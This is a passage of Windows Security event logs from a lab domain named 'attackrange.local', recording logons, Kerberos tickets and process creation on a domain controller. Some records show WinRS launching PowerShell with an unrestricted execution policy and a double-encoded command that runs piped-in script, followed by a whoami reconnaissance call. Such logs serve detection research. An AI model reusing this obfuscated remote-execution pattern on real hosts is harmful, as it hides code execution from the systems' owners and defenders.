UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258083 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc14 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1080 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258082 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570E33 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258081 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570E33 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258080 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258079 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258078 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258077 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xac8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1080 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258076 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Process Information: - New Process ID: 0x1080 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258075 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf88 - New Process Name: C:\Windows\System32\dllhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258074 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258073 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258072 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258071 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258070 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 10:48:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258069 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 10:48:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258106 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Windows\System32\whoami.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1348 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\whoami.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258105 -Keywords=Audit Success -Message=A new process has been created. - -Creator 